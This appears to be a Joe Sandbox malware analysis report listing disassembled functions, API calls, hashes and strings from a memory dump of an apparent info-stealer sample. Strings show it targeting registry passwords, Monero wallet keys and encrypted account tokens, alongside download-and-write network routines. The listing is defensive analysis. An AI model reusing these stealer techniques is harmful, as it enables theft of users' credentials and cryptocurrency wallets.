Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a6847d44853a933a46e2b3c576bae32574bbbd345e4325913e34e325b1280183
Instruction ID: 4f5d85ad814ea4ea9b0958bea4970c9976042a5b2d5d657f5f2a93f992863949
Opcode Fuzzy Hash: a6847d44853a933a46e2b3c576bae32574bbbd345e4325913e34e325b1280183
Instruction Fuzzy Hash: 3031B576D04109EFCB04EBE4DC96EFF7B78AB9A304F148018F502A7251CE34A902CBA1

Function 009B6FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 009B6FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009B701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B70A3
RtlAllocateHeap.NTDLL(00000000), ref: 009B70AA
wsprintfA.USER32 ref: 009B70E0

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Strings

C, xrefs: 009B6FEC
\, xrefs: 009B7000
:, xrefs: 009B6FFC

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: de3442e56d3f43079d9858f6212ee302e7a4d902bfec219e0b94097eabf0011d
Instruction ID: 7184e726801631a524b656ded27003a1f896f79c77beba03f8cebd8573fb4f51
Opcode Fuzzy Hash: de3442e56d3f43079d9858f6212ee302e7a4d902bfec219e0b94097eabf0011d
Instruction Fuzzy Hash: AA41D4B1D0424CEBDB10DF98CD85FEEBBB8AF48724F100599F50967280DB746A44CBA5

Function 009B7BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0148F040,00000000,?,009C0DFC,00000000,?,00000000), ref: 009B7BD0
RtlAllocateHeap.NTDLL(00000000), ref: 009B7BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 009B7BF8
__aulldiv.LIBCMT ref: 009B7C12
__aulldiv.LIBCMT ref: 009B7C20
wsprintfA.USER32 ref: 009B7C4C

Strings

@, xrefs: 009B7BED
%d MB, xrefs: 009B7C43

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: df5bbb80d33fa99f2159eeb97eadc7a5d3ac7af4db947f263d69776afb910336
Instruction ID: 47faf0390e601c83a21b0d73f2eec9d2875d451a97fadc5f7d53a7469aecff88
Opcode Fuzzy Hash: df5bbb80d33fa99f2159eeb97eadc7a5d3ac7af4db947f263d69776afb910336
Instruction Fuzzy Hash: 9A2121B1D44208ABDB00DFD8CD45FEEBB78FB88714F104519F605BB280D77859048BA5

Function 009A60F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
Part of subcall function 009A4800: ??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
Part of subcall function 009A4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
Part of subcall function 009A4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

InternetOpenA.WININET(009C0DE2,00000001,00000000,00000000,00000000), ref: 009A615F
StrCmpCA.SHLWAPI(?,0148FA70), ref: 009A6197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 009A61DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009A6203
InternetReadFile.WININET(?,?,00000400,?), ref: 009A622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009A625A
CloseHandle.KERNEL32(?,?,00000400), ref: 009A6299
InternetCloseHandle.WININET(?), ref: 009A62A3
InternetCloseHandle.WININET(00000000), ref: 009A62B0

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ec5f3535c7e14086a6ff40bddbd6109965136d20e814c7f24364ad5307f0dad3
Instruction ID: 518bdd81459ccdb61310e004c3880ac56f8f775e5f7d2902e1f78fdcfefc7f3d
Opcode Fuzzy Hash: ec5f3535c7e14086a6ff40bddbd6109965136d20e814c7f24364ad5307f0dad3
Instruction Fuzzy Hash: 795182B1A00208ABDF20DF60CC45FEE7B79AB49305F108098F609A71C1DBB46A89CF95

Function 009A7310 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 009A737A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009A73F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009A744D
GetProcessHeap.KERNEL32(00000000,?), ref: 009A7492
HeapFree.KERNEL32(00000000), ref: 009A7499
task.LIBCPMTD ref: 009A7595

Strings

Password, xrefs: 009A7441

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 58de882df10827d541eef187ac42d41298640a48650ca3ab2a2ebeff2e51e491
Instruction ID: 255800dcbd0a9cae5d62a22884a2ee7f43f455711b82431c2f0cfeece1e79c96
Opcode Fuzzy Hash: 58de882df10827d541eef187ac42d41298640a48650ca3ab2a2ebeff2e51e491
Instruction Fuzzy Hash: A3611AB5D042689BDB24DB50CC55FDAB7B8BF89304F0081E9E649A6141EFB06B89CFD1

Function 009AB8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Part of subcall function 009BA380: lstrlen.KERNEL32(?,01489170,?,\Monero\wallet.keys,009C0DFF), ref: 009BA395
Part of subcall function 009BA380: lstrcpy.KERNEL32(00000000), ref: 009BA3D4
Part of subcall function 009BA380: lstrcat.KERNEL32(00000000,00000000), ref: 009BA3E2

Part of subcall function 009BA2F0: lstrcpy.KERNEL32(00000000,?), ref: 009BA342
Part of subcall function 009BA2F0: lstrcat.KERNEL32(00000000), ref: 009BA352

Part of subcall function 009BA270: lstrcpy.KERNEL32(?,009C0DFF), ref: 009BA2D5

Part of subcall function 009A9E60: LocalAlloc.KERNEL32(00000040,?), ref: 009A9EFE

lstrlen.KERNEL32(00000000), ref: 009ABADD

Part of subcall function 009B88D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009B88F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 009ABB0B
lstrlen.KERNEL32(00000000), ref: 009ABBE3
lstrlen.KERNEL32(00000000), ref: 009ABBF7

Strings

AccountTokens, xrefs: 009AB9A9
AccountTokens, xrefs: 009AB91A
AccountId, xrefs: 009ABB02
SELECT service, encrypted_token FROM token_service, xrefs: 009ABA4B

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3171688271-1079375795
Opcode ID: d6b2409b993d13d830803ef9735355195aa6210f387ee741ad4caa3806169433
Instruction ID: 82c30af013cb2a13ae10d596a97a59ea2e49804261f51494719b2eb5aa4d612f
Opcode Fuzzy Hash: d6b2409b993d13d830803ef9735355195aa6210f387ee741ad4caa3806169433
Instruction Fuzzy Hash: 2AA11D71910108ABCB18EBA4CE96FEE777CAF95314F404569F50763092EF746E48CB62

Function 009A5000 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009A501A
RtlAllocateHeap.NTDLL(00000000), ref: 009A5021
InternetOpenA.WININET(009C0DC7,00000000,00000000,00000000,00000000), ref: 009A503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 009A5061
InternetReadFile.WININET(?,?,00000400,00000000), ref: 009A5091
InternetCloseHandle.WININET(?), ref: 009A5109
InternetCloseHandle.WININET(?), ref: 009A5116

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: aae5c559869aecd0ddaae7a638e8e91f7714dd6f1caee164dfc3cba8c5f09135
Instruction ID: 4c7c044e5f2c26f3d575cf31664654076d66d930d26e63ea869f2541bcb31881
Opcode Fuzzy Hash: aae5c559869aecd0ddaae7a638e8e91f7714dd6f1caee164dfc3cba8c5f09135
Instruction Fuzzy Hash: 6B31F8B4A0021CABDB20DF54DC85BDDB7B5BB48304F5085D9FA09A7281DBB06AC58F99

Function 009B7E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 009B7EC6
wsprintfA.USER32 ref: 009B7EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 009B7F1B
RegCloseKey.ADVAPI32(00000000), ref: 009B7F2C
RegCloseKey.ADVAPI32(00000000), ref: 009B7F39

Part of subcall function 009BA170: lstrcpy.KERNEL32(?,00000000), ref: 009BA1B6

RegQueryValueExA.KERNEL32(00000000,0148F058,00000000,000F003F,?,00000400), ref: 009B7F8C
lstrlen.KERNEL32(?), ref: 009B7FA1
RegQueryValueExA.KERNEL32(00000000,0148EFC8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,009C0B24), ref: 009B8039
RegCloseKey.KERNEL32(00000000), ref: 009B80A8
RegCloseKey.ADVAPI32(00000000), ref: 009B80BA

Strings

%s\%s, xrefs: 009B7EED

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 722a16064dda893b7648e9df791425af2f22e0ff1016cc90894e5bab3bf228f0
Instruction ID: 647934f4a41e94a9d2a7d8cff7368498104df60017e671ac1ec782a25a0a59fa
Opcode Fuzzy Hash: 722a16064dda893b7648e9df791425af2f22e0ff1016cc90894e5bab3bf228f0
Instruction Fuzzy Hash: 9D213971A0021CABDB24DB54CC85FE9B7B8FB48710F00C1A8E609A6140DF71AA85CF94

Function 009A4800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A483B
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4852
??_U@YAPAXI@Z.MSVCRT(00000800), ref: 009A4868
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009A4889
InternetCrackUrlA.WININET(00000000,00000000), ref: 009A4899

Strings

<, xrefs: 009A4819

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
